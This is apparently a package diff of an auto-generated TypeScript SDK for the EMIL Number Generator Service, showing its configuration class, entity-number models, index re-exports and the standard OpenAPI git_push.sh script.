| * requests. You can inject this here so that execution environments that | ||
| * do not support the FormData class can still run the generated client. | ||
| * | ||
| * @type {new () => FormData} | ||
| */ | ||
| formDataCtor?: new () => any; | ||
| /** | ||
| * parameter for automatically refreshing access token for oauth2 security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| refreshToken?: string; | ||
| constructor(param?: ConfigurationParameters); | ||
| /** | ||
| * Check if the given MIME is a JSON MIME. | ||
| * JSON MIME examples: | ||
| * application/json | ||
| * application/json; charset=UTF8 | ||
| * APPLICATION/JSON | ||
| * application/vnd.company+json | ||
| * @param mime - MIME (Multipurpose Internet Mail Extensions) | ||
| * @return True if the given MIME is JSON, false otherwise. | ||
| */ | ||
| isJsonMime(mime: string): boolean; | ||
| /** | ||
| * Returns "Bearer" token. | ||
| * @param token - access token. | ||
| * @return Bearer token. | ||
| */ | ||
| getBearerToken(token?: string): string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.Configuration = void 0; | ||
| var Configuration = /** @class */ (function () { | ||
| function Configuration(param) { | ||
| if (param === void 0) { param = {}; } | ||
| this.apiKey = param.apiKey; | ||
| this.username = param.username; | ||
| this.password = param.password; | ||
| this.accessToken = param.accessToken; | ||
| this.basePath = param.basePath; | ||
| this.baseOptions = param.baseOptions; | ||
| this.formDataCtor = param.formDataCtor; | ||
| } | ||
| /** | ||
| * Check if the given MIME is a JSON MIME. | ||
| * JSON MIME examples: | ||
| * application/json | ||
| * application/json; charset=UTF8 | ||
| * APPLICATION/JSON | ||
| * application/vnd.company+json | ||
| * @param mime - MIME (Multipurpose Internet Mail Extensions) | ||
| * @return True if the given MIME is JSON, false otherwise. | ||
| */ | ||
| Configuration.prototype.isJsonMime = function (mime) { | ||
| var jsonMime = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i'); | ||
| return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json'); | ||
| }; | ||
| /** | ||
| * Returns "Bearer" token. | ||
| * @param token - access token. | ||
| * @return Bearer token. | ||
| */ | ||
| Configuration.prototype.getBearerToken = function (token) { | ||
| return ('' + token).startsWith("Bearer") ? token : "Bearer " + token; | ||
| }; | ||
| return Configuration; | ||
| }()); | ||
| exports.Configuration = Configuration; |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export { Environment, BaseAPI } from "./base"; | ||
| export * from "./api"; | ||
| export * from "./configuration"; | ||
| export * from "./models"; |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __exportStar = (this && this.__exportStar) || function(m, exports) { | ||
| for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p); | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.BaseAPI = exports.Environment = void 0; | ||
| var base_1 = require("./base"); | ||
| Object.defineProperty(exports, "Environment", { enumerable: true, get: function () { return base_1.Environment; } }); | ||
| Object.defineProperty(exports, "BaseAPI", { enumerable: true, get: function () { return base_1.BaseAPI; } }); | ||
| __exportStar(require("./api"), exports); | ||
| __exportStar(require("./configuration"), exports); | ||
| __exportStar(require("./models"), exports); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateNumberResponseClass | ||
| */ | ||
| export interface CreateNumberResponseClass { | ||
| /** | ||
| * The number response. | ||
| * @type {EntityNumberClass} | ||
| * @memberof CreateNumberResponseClass | ||
| */ | ||
| 'entityNumber': EntityNumberClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface EntityNumberClass | ||
| */ | ||
| export interface EntityNumberClass { | ||
| /** | ||
| * Internal unique identifier for the object. You should not have to use this, use code instead. | ||
| * @type {number} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * The entity number\'s slug. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'slug': string; | ||
| /** | ||
| * The entity number\'s type. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'type': EntityNumberClassTypeEnum; | ||
| /** | ||
| * Entity number configuration. | ||
| * @type {object} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'configuration': object; | ||
| /** | ||
| * Time at which the object was created. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'createdAt': string; | ||
| /** | ||
| * Time at which the object was updated. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'updatedAt': string; | ||
| } | ||
| export declare const EntityNumberClassTypeEnum: { | ||
| readonly Sequence: "sequence"; | ||
| readonly List: "list"; | ||
| readonly Random: "random"; | ||
| }; | ||
| export type EntityNumberClassTypeEnum = typeof EntityNumberClassTypeEnum[keyof typeof EntityNumberClassTypeEnum]; |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.EntityNumberClassTypeEnum = void 0; | ||
| exports.EntityNumberClassTypeEnum = { | ||
| Sequence: 'sequence', | ||
| List: 'list', | ||
| Random: 'random' | ||
| }; |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetNumberResponseClass | ||
| */ | ||
| export interface GetNumberResponseClass { | ||
| /** | ||
| * The Number response. | ||
| * @type {EntityNumberClass} | ||
| * @memberof GetNumberResponseClass | ||
| */ | ||
| 'entityNumber': EntityNumberClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| export * from './create-number-response-class'; | ||
| export * from './entity-number-class'; | ||
| export * from './get-number-response-class'; | ||
| export * from './inline-response200'; | ||
| export * from './inline-response503'; | ||
| export * from './list-numbers-response-class'; | ||
| export * from './lookup-number-request-dto'; | ||
| export * from './reset-number-request-dto'; | ||
| export * from './update-number-response-class'; |
| "use strict"; | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __exportStar = (this && this.__exportStar) || function(m, exports) { | ||
| for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p); | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| __exportStar(require("./create-number-response-class"), exports); | ||
| __exportStar(require("./entity-number-class"), exports); | ||
| __exportStar(require("./get-number-response-class"), exports); | ||
| __exportStar(require("./inline-response200"), exports); | ||
| __exportStar(require("./inline-response503"), exports); | ||
| __exportStar(require("./list-numbers-response-class"), exports); | ||
| __exportStar(require("./lookup-number-request-dto"), exports); | ||
| __exportStar(require("./reset-number-request-dto"), exports); | ||
| __exportStar(require("./update-number-response-class"), exports); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse200 | ||
| */ | ||
| export interface InlineResponse200 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'info'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'error'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'details'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| }; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse503 | ||
| */ | ||
| export interface InlineResponse503 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'info'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'error'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'details'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| }; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListNumbersResponseClass | ||
| */ | ||
| export interface ListNumbersResponseClass { | ||
| /** | ||
| * The list of numbers. | ||
| * @type {Array<EntityNumberClass>} | ||
| * @memberof ListNumbersResponseClass | ||
| */ | ||
| 'items': Array<EntityNumberClass>; | ||
| /** | ||
| * Next page token | ||
| * @type {string} | ||
| * @memberof ListNumbersResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface LookupNumberRequestDto | ||
| */ | ||
| export interface LookupNumberRequestDto { | ||
| /** | ||
| * The slug of the number | ||
| * @type {string} | ||
| * @memberof LookupNumberRequestDto | ||
| */ | ||
| 'slug': string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ResetNumberRequestDto | ||
| */ | ||
| export interface ResetNumberRequestDto { | ||
| /** | ||
| * The slug of the number | ||
| * @type {string} | ||
| * @memberof ResetNumberRequestDto | ||
| */ | ||
| 'slug': string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface UpdateNumberResponseClass | ||
| */ | ||
| export interface UpdateNumberResponseClass { | ||
| /** | ||
| * The number response. | ||
| * @type {EntityNumberClass} | ||
| * @memberof UpdateNumberResponseClass | ||
| */ | ||
| 'entityNumber': EntityNumberClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
-57
| #!/bin/sh | ||
| # ref: https://help.github.com/articles/adding-an-existing-project-to-github-using-the-command-line/ | ||
| # | ||
| # Usage example: /bin/sh ./git_push.sh wing328 openapi-petstore-perl "minor update" "gitlab.com" | ||
| git_user_id=$1 | ||
| git_repo_id=$2 | ||
| release_note=$3 | ||
| git_host=$4 | ||
| if [ "$git_host" = "" ]; then | ||
| git_host="github.com" | ||
| echo "[INFO] No command line input provided. Set \$git_host to $git_host" | ||
| fi | ||
| if [ "$git_user_id" = "" ]; then | ||
| git_user_id="Emil" | ||
| echo "[INFO] No command line input provided. Set \$git_user_id to $git_user_id" | ||
| fi | ||
| if [ "$git_repo_id" = "" ]; then | ||
| git_repo_id="numbergenerator-sdk-node" | ||
| echo "[INFO] No command line input provided. Set \$git_repo_id to $git_repo_id" | ||
| fi | ||
| if [ "$release_note" = "" ]; then | ||
| release_note="Minor update" | ||
| echo "[INFO] No command line input provided. Set \$release_note to $release_note" | ||
| fi | ||
| # Initialize the local directory as a Git repository | ||
| git init | ||
| # Adds the files in the local repository and stages them for commit. | ||
| git add . | ||
| # Commits the tracked changes and prepares them to be pushed to a remote repository. | ||
| git commit -m "$release_note" | ||
| # Sets the new remote | ||
| git_remote=$(git remote) | ||
| if [ "$git_remote" = "" ]; then # git remote not defined | ||
| if [ "$GIT_TOKEN" = "" ]; then | ||
| echo "[INFO] \$GIT_TOKEN (environment variable) is not set. Using the git credential in your environment." | ||
| git remote add origin https://${git_host}/${git_user_id}/${git_repo_id}.git | ||
| else | ||
| git remote add origin https://${git_user_id}:"${GIT_TOKEN}"@${git_host}/${git_user_id}/${git_repo_id}.git | ||
| fi | ||
| fi | ||
| git pull origin master | ||
| # Pushes (Forces) the changes in the local repository up to the remote repository | ||
| echo "Git pushing to https://${git_host}/${git_user_id}/${git_repo_id}.git" | ||
| git push origin master 2>&1 | grep -v 'To https' |
-19
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export { Environment, BaseAPI } from "./base"; | ||
| export * from "./api"; | ||
| export * from "./configuration"; | ||
| export * from "./models"; |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateNumberResponseClass | ||
| */ | ||
| export interface CreateNumberResponseClass { | ||
| /** | ||
| * The number response. | ||
| * @type {EntityNumberClass} | ||
| * @memberof CreateNumberResponseClass | ||
| */ | ||
| 'entityNumber': EntityNumberClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface EntityNumberClass | ||
| */ | ||
| export interface EntityNumberClass { | ||
| /** | ||
| * Internal unique identifier for the object. You should not have to use this, use code instead. | ||
| * @type {number} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * The entity number\'s slug. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'slug': string; | ||
| /** | ||
| * The entity number\'s type. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'type': EntityNumberClassTypeEnum; | ||
| /** | ||
| * Entity number configuration. | ||
| * @type {object} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'configuration': object; | ||
| /** | ||
| * Time at which the object was created. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'createdAt': string; | ||
| /** | ||
| * Time at which the object was updated. | ||
| * @type {string} | ||
| * @memberof EntityNumberClass | ||
| */ | ||
| 'updatedAt': string; | ||
| } | ||
| export const EntityNumberClassTypeEnum = { | ||
| Sequence: 'sequence', | ||
| List: 'list', | ||
| Random: 'random' | ||
| } as const; | ||
| export type EntityNumberClassTypeEnum = typeof EntityNumberClassTypeEnum[keyof typeof EntityNumberClassTypeEnum]; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { EntityNumberClass } from './entity-number-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetNumberResponseClass | ||
| */ | ||
| export interface GetNumberResponseClass { | ||
| /** | ||
| * The Number response. | ||
| * @type {EntityNumberClass} | ||
| * @memberof GetNumberResponseClass | ||
| */ | ||
| 'entityNumber': EntityNumberClass; | ||
| } | ||
| export * from './create-number-response-class'; | ||
| export * from './entity-number-class'; | ||
| export * from './get-number-response-class'; | ||
| export * from './inline-response200'; | ||
| export * from './inline-response503'; | ||
| export * from './list-numbers-response-class'; | ||
| export * from './lookup-number-request-dto'; | ||
| export * from './reset-number-request-dto'; | ||
| export * from './update-number-response-class'; |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse200 | ||
| */ | ||
| export interface InlineResponse200 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse200 | ||
